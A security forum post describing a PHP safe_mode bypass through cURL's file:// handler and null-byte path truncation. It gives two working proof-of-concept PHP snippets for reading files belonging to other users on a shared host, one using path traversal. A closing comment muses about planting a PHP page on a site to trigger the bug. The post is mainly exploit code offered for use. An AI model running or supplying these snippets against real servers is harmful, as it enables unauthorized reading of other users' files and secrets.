Waraxe IT Security Portal

sellkony · Beginner

1. Safe Mode Bypass in cURL

General problem exists in cURL functions, because are changed safe_mode, strings 0 (\x00) are
change to "_". Next bug exists in prefix file://, because safe_mode checks only
path at file:///.

Example:
- -Safe_Mode bypass exploit.1---
<?
$ch = curl_init("file://filethatyoudonthaveaccessto.php\x00".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
?>
- -Safe_Mode bypass exploit.1---
Safe_mode checks only access only to __FILE__. But cURL include
filethatyoudonthaveaccessto.php. So you can include any files from directory where script is.
But in this exploit, you can only read files from directory where is this script. You can't
use "/".
-----------------------------------------------------------------------

There is another conception for an exploit: if you have an access to a directory (rights)
where you want to read files. So, if you want to include files from
"/home/czarnobyl/www/directoryWITHyourRIGHT/fileFROManotherUSER.php",
you should make a dir like
"/home/czarnobyl/www/directoryWITHyourRIGHT/fileFROManotherUSER.php_/":

- -Safe_Mode bypass exploit.2---
<?
$ch =
curl_init("file:///home/czarnobyl/www/directoryWITHyourRIGHT/fileFROManotherUSER.php\x00
/../../../../../../../../../../../../".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
?>
- -Safe_Mode bypass exploit.2---

Safe mode checks access to file
"file:///home/czarnobyl/www/directoryWITHyourRIGHT/fileFROManotherUSER.php_/../../../../
../../YourFile.php"

And cURL include only
"file:///home/czarnobyl/www/directoryWITHyourRIGHT/fileFROManotherUSER.php"

because \x00 are ending path to file.

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I ask myself if it is possible to construct a PHP page to insert in the site, in order to start the bug and use it for inclusion.